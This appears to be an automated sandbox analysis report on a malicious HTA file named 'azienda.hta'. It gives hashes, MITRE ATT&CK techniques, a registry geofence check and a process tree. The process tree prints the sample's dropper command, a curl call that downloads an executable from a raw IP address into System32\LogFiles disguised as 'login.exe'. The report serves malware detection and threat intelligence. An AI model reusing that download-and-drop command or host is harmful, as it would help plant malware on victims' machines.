7590f4c3928e025b274b13e945cf2896d84b49c812ead01204f2a2303e0a59d3

Analysis

max time kernel
144s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
01/03/2023, 16:09

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General

Target

azienda.hta
Size

7KB
MD5

f8bb2a440466e90f9ae60c4e06ee539c
SHA1

fe9e57b0245c6fb43a87ecf29bd07aea91d0b270
SHA256

7590f4c3928e025b274b13e945cf2896d84b49c812ead01204f2a2303e0a59d3
SHA512

82830264dd3891af4ef5cf6af8d2094f70416f5ce323e5ea96ad9d2a2b9bef99d6a4d6a84c9e59a3434c7c51f0b5d349766a5e331a861b43a21714da10bb6260
SSDEEP

96:SPLY0B6XNEbJpEl0EJjAr3BZE5S4dwatxC5WLSYLw9RKUzlnoi594N0M+Q0AK/Hn:SjYC6GFpa6r/TC7QuMVnoiD00MC2Kb9

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1324 wrote to memory of 4352	1324	mshta.exe	85
PID 1324 wrote to memory of 4352	1324	mshta.exe	85
PID 1324 wrote to memory of 4352	1324	mshta.exe	85
PID 4352 wrote to memory of 404	4352	cmd.exe	87
PID 4352 wrote to memory of 404	4352	cmd.exe	87
PID 4352 wrote to memory of 404	4352	cmd.exe	87

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl http://191.101.2.39/installazione.exe -o C:\Windows\\System32\\LogFiles\\login.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\SysWOW64\curl.exe
    curl http://191.101.2.39/installazione.exe -o C:\Windows\\System32\\LogFiles\\login.exe
    3⤵
    PID:404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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